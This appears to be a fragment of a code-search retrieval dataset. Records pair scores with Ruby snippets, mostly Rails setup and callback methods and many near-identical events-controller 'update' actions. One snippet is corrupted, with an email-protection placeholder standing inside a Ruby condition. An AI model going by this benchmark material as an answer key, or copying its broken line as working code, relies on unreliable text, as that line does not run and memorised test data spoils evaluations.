"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if [email protected]?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
41d6cb57fbf4914fdd18fdf76f1ae860
|
PATCH/PUT /events/1 PATCH/PUT /events/1.json
|
[
{
"docid": "760fbe71ff1d4794455a6d236b528dde",
"score": "0.0",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "dc4ff2adcbcefec9118bdd7e8716ad75",
"score": "0.7375797",
"text": "def update\n event = event.find(params[\"id\"]) \n event.update_attributes(event_params) \n respond_with event, json: event\n end",
"title": ""
},
{
"docid": "0050f781a1e526879347940817ef65b8",
"score": "0.7237353",
"text": "def update\n #TODO params -> strong_params\n if @event.update(params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2827d845ba442028d80242de02c60173",
"score": "0.72251964",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { head :no_content, status: :ok }\n format.xml { head :no_content, status: :ok }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n format.xml { render xml: @event.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"title": ""
},
{
"docid": "e53ac6aaed698a8f60ef0ffd649d7a37",
"score": "0.7195226",
"text": "def update\n @event = Event.find(params[:id])\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.json { head :ok }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25c70818308792c1eeb416d6f7873983",
"score": "0.7144231",
"text": "def update\n @event = Event.find(params[:event_id])\n respond_to do |format|\n if @event.update(event_params)\n format.json { render json: @event, status: :ok }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8df991b07ce1ccb21665df10b8a9346",
"score": "0.712423",
"text": "def update\n if !params[\"event\"][\"payload\"].is_a?(String)\n @event.payload = params[\"event\"][\"payload\"].to_json\n end\n\n if params[\"event\"][\"timestamp\"]\n @event.timestamp = Time.at(params[\"event\"][\"timestamp\"].to_f)\n end\n\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "158cc85c267c341d95fec85c61eca325",
"score": "0.7105777",
"text": "def update\n if @event.update(event_params)\n render json: @event.to_json, status: :ok\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "de04757f39fd1fb259531f6fefd81e4d",
"score": "0.7102657",
"text": "def update\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c1e91edfe4a0b5c098fb83a06d3cccfc",
"score": "0.71017784",
"text": "def update\n @event.update(event_params)\n head :no_content\n end",
"title": ""
},
{
"docid": "6057d92b0704aa37b9cfaa5dd5be8f36",
"score": "0.7083602",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6057d92b0704aa37b9cfaa5dd5be8f36",
"score": "0.7083602",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6057d92b0704aa37b9cfaa5dd5be8f36",
"score": "0.7083602",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a29b26d0bd365434c592cf3e22fec741",
"score": "0.70639914",
"text": "def update\n if @event.update(event_params)\n head :ok\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5415dd71b3b7941d4591b6418720b8db",
"score": "0.7061504",
"text": "def update\n event = Event.find(params[:id])\n if event.update(event_params)\n render json: event\n else\n render json: { error: '' }, status: 403\n end\n end",
"title": ""
},
{
"docid": "ff13892cc987facfe256433aec09dc17",
"score": "0.70490366",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { render html: '200', status: :ok }\n format.json { render 'event', status: :ok, event: @event }\n else\n format.html { render html: '500', status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "49d38487712349de37855d7601fdfa81",
"score": "0.7029896",
"text": "def update\n respond_with(@event)\n end",
"title": ""
},
{
"docid": "de65359d72023e3884547c61b2f5fda2",
"score": "0.7022976",
"text": "def update\n @event_req = EventReq.find(params[:id])\n\n respond_to do |format|\n if @event_req.update_attributes(params[:event_req])\n format.html { redirect_to @event_req, notice: 'Event req was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_req.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "32a87162afe9140a07c1e917817498f8",
"score": "0.7022747",
"text": "def update\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "32a87162afe9140a07c1e917817498f8",
"score": "0.7022747",
"text": "def update\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "557b7dee79ad9c6676f191d5695796dc",
"score": "0.7011768",
"text": "def update\n @event.update!(event_params)\n if @event.save\n #if saved then output saved data to JSON\n render json: @event.to_json, status: 201\n else\n #if failed send bad request error\n render json: {message: \"Failed to update event\"}, status: 400\n end\n end",
"title": ""
},
{
"docid": "93a3d30cd144eb5bdb908d4ebfe49137",
"score": "0.7006485",
"text": "def update\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to edit_event_path(@event), notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "de2c55d956ebbb4e392396ea6163cc38",
"score": "0.6996166",
"text": "def update\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1c522d393f2acb36d4e2d8421240ab6f",
"score": "0.69758135",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f6192a895ca82ab8840d90a325550516",
"score": "0.69706774",
"text": "def update\n @event = @eventable.events.find(params[:id])\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to [@eventable, :events], notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f86bb6893253a259a886907999d0e363",
"score": "0.6967518",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n @events = Event.event_list\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b55c90bc72532f587b41b7972c69b6a8",
"score": "0.6957932",
"text": "def update\n respond_with( @event ) do |format|\n if @event.update_attributes( params[ :event ] )\n flash[ :notice ] = \"Event was successfully updated.\"\n format.html { redirect_to @event }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0ee8fcfa321abca1c8a254f293929bba",
"score": "0.69546765",
"text": "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0ee8fcfa321abca1c8a254f293929bba",
"score": "0.69546765",
"text": "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "52e9e72b37ddfcd52aaf63494e820a52",
"score": "0.6947601",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ce5ec604f96dac2452bf80d63d407246",
"score": "0.69430715",
"text": "def update\n @event = Event.find(params[:id])\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "42af8cad338d1a0fb6a141a290d5c02d",
"score": "0.6925586",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to \"/events\", :notice => 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c48dd5de3d640b106604be10a59b4863",
"score": "0.69216263",
